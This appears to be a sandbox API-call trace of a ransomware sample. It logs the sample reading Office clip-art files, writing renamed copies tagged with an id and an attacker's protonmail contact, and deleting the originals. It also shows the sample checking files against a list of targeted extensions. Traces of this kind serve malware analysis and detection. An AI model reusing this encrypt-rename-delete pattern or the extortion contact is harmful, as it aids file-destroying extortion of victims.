	[0094.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1
	[0094.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.340] lstrlenW (lpString=".doc") returned 4
	[0094.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.340] lstrlenW (lpString=".docx") returned 5
	[0094.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.340] lstrlenW (lpString=".pdf") returned 4
	[0094.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.340] lstrlenW (lpString=".xls") returned 4
	[0094.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.340] lstrlenW (lpString=".xlsx") returned 5
	[0094.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.340] lstrlenW (lpString=".ppt") returned 4
	[0094.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.340] lstrlenW (lpString=".zip") returned 4
	[0094.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.340] lstrlenW (lpString=".rar") returned 4
	[0094.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.340] lstrlenW (lpString=".bz2") returned 4
	[0094.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.340] lstrlenW (lpString=".7z") returned 3
	[0094.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.340] lstrlenW (lpString=".dbf") returned 4
	[0094.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.340] lstrlenW (lpString=".1cd") returned 4
	[0094.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.340] lstrlenW (lpString=".jpg") returned 4
	[0094.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.340] lstrlenW (lpString=".doc") returned 4
	[0094.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.341] lstrlenW (lpString=".docx") returned 5
	[0094.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.341] lstrlenW (lpString=".pdf") returned 4
	[0094.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.341] lstrlenW (lpString=".xls") returned 4
	[0094.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.341] lstrlenW (lpString=".xlsx") returned 5
	[0094.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.341] lstrlenW (lpString=".ppt") returned 4
	[0094.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.341] lstrlenW (lpString=".zip") returned 4
	[0094.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.341] lstrlenW (lpString=".rar") returned 4
	[0094.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.341] lstrlenW (lpString=".bz2") returned 4
	[0094.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.341] lstrlenW (lpString=".7z") returned 3
	[0094.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.341] lstrlenW (lpString=".dbf") returned 4
	[0094.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.341] lstrlenW (lpString=".1cd") returned 4
	[0094.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0094.341] lstrlenW (lpString=".jpg") returned 4
	[0094.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.341] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.342] lstrlenW (lpString="HH00527_.WMF") returned 12
	[0094.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.342] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5798) returned 1
	[0094.342] CloseHandle (hObject=0x35c) returned 1
	[0094.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220
	[0094.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.342] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.342] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.343] GetLastError () returned 0x0
	[0094.343] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x16a6, lpOverlapped=0x0) returned 1
	[0094.361] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x16b0, lpOverlapped=0x0) returned 1
	[0094.362] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.362] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.362] SetEndOfFile (hFile=0x380) returned 1
	[0094.362] CloseHandle (hObject=0x380) returned 1
	[0094.362] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.362] SetEndOfFile (hFile=0x35c) returned 1
	[0094.363] CloseHandle (hObject=0x35c) returned 1
	[0094.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1
	[0094.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.364] lstrlenW (lpString=".doc") returned 4
	[0094.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.364] lstrlenW (lpString=".docx") returned 5
	[0094.364] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.364] lstrlenW (lpString=".pdf") returned 4
	[0094.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.364] lstrlenW (lpString=".xls") returned 4
	[0094.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.364] lstrlenW (lpString=".xlsx") returned 5
	[0094.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.364] lstrlenW (lpString=".ppt") returned 4
	[0094.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.364] lstrlenW (lpString=".zip") returned 4
	[0094.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.364] lstrlenW (lpString=".rar") returned 4
	[0094.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.364] lstrlenW (lpString=".bz2") returned 4
	[0094.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.364] lstrlenW (lpString=".7z") returned 3
	[0094.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.365] lstrlenW (lpString=".dbf") returned 4
	[0094.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.365] lstrlenW (lpString=".1cd") returned 4
	[0094.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.365] lstrlenW (lpString=".jpg") returned 4
	[0094.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.365] lstrlenW (lpString=".doc") returned 4
	[0094.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.365] lstrlenW (lpString=".docx") returned 5
	[0094.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.365] lstrlenW (lpString=".pdf") returned 4
	[0094.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.365] lstrlenW (lpString=".xls") returned 4
	[0094.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.365] lstrlenW (lpString=".xlsx") returned 5
	[0094.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.365] lstrlenW (lpString=".ppt") returned 4
	[0094.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.365] lstrlenW (lpString=".zip") returned 4
	[0094.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.365] lstrlenW (lpString=".rar") returned 4
	[0094.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.365] lstrlenW (lpString=".bz2") returned 4
	[0094.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.365] lstrlenW (lpString=".7z") returned 3
	[0094.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.365] lstrlenW (lpString=".dbf") returned 4
	[0094.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.366] lstrlenW (lpString=".1cd") returned 4
	[0094.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0094.366] lstrlenW (lpString=".jpg") returned 4
	[0094.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.366] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.366] lstrlenW (lpString="HH00546_.WMF") returned 12
	[0094.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.366] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3718) returned 1
	[0094.366] CloseHandle (hObject=0x35c) returned 1
	[0094.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220
	[0094.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.366] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.367] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.367] GetLastError () returned 0x0
	[0094.367] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xe86, lpOverlapped=0x0) returned 1
	[0094.813] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0094.814] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.814] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.814] SetEndOfFile (hFile=0x380) returned 1
	[0094.814] CloseHandle (hObject=0x380) returned 1
	[0094.814] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.814] SetEndOfFile (hFile=0x35c) returned 1
	[0094.815] CloseHandle (hObject=0x35c) returned 1
	[0094.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1
	[0094.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.816] lstrlenW (lpString=".doc") returned 4
	[0094.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.816] lstrlenW (lpString=".docx") returned 5
	[0094.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.816] lstrlenW (lpString=".pdf") returned 4
	[0094.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.816] lstrlenW (lpString=".xls") returned 4
	[0094.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.816] lstrlenW (lpString=".xlsx") returned 5
	[0094.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.816] lstrlenW (lpString=".ppt") returned 4
	[0094.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.816] lstrlenW (lpString=".zip") returned 4
	[0094.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.816] lstrlenW (lpString=".rar") returned 4
	[0094.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.816] lstrlenW (lpString=".bz2") returned 4
	[0094.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.816] lstrlenW (lpString=".7z") returned 3
	[0094.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.816] lstrlenW (lpString=".dbf") returned 4
	[0094.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.817] lstrlenW (lpString=".1cd") returned 4
	[0094.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.817] lstrlenW (lpString=".jpg") returned 4
	[0094.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.817] lstrlenW (lpString=".doc") returned 4
	[0094.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString=".docx") returned 5
	[0094.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.817] lstrlenW (lpString=".pdf") returned 4
	[0094.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString=".xls") returned 4
	[0094.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.817] lstrlenW (lpString=".xlsx") returned 5
	[0094.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.817] lstrlenW (lpString=".ppt") returned 4
	[0094.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.817] lstrlenW (lpString=".zip") returned 4
	[0094.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.817] lstrlenW (lpString=".rar") returned 4
	[0094.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString=".bz2") returned 4
	[0094.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString=".7z") returned 3
	[0094.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.817] lstrlenW (lpString=".dbf") returned 4
	[0094.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.817] lstrlenW (lpString=".1cd") returned 4
	[0094.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0094.817] lstrlenW (lpString=".jpg") returned 4
	[0094.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.818] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.818] lstrlenW (lpString="HH01058_.WMF") returned 12
	[0094.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.818] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2756) returned 1
	[0094.818] CloseHandle (hObject=0x35c) returned 1
	[0094.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220
	[0094.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.819] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.819] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0094.819] GetLastError () returned 0x0
	[0094.819] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xac4, lpOverlapped=0x0) returned 1
	[0094.820] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xad0, lpOverlapped=0x0) returned 1
	[0094.821] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.821] WriteFile (in: hFile=0x380, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.821] SetEndOfFile (hFile=0x380) returned 1
	[0094.822] CloseHandle (hObject=0x380) returned 1
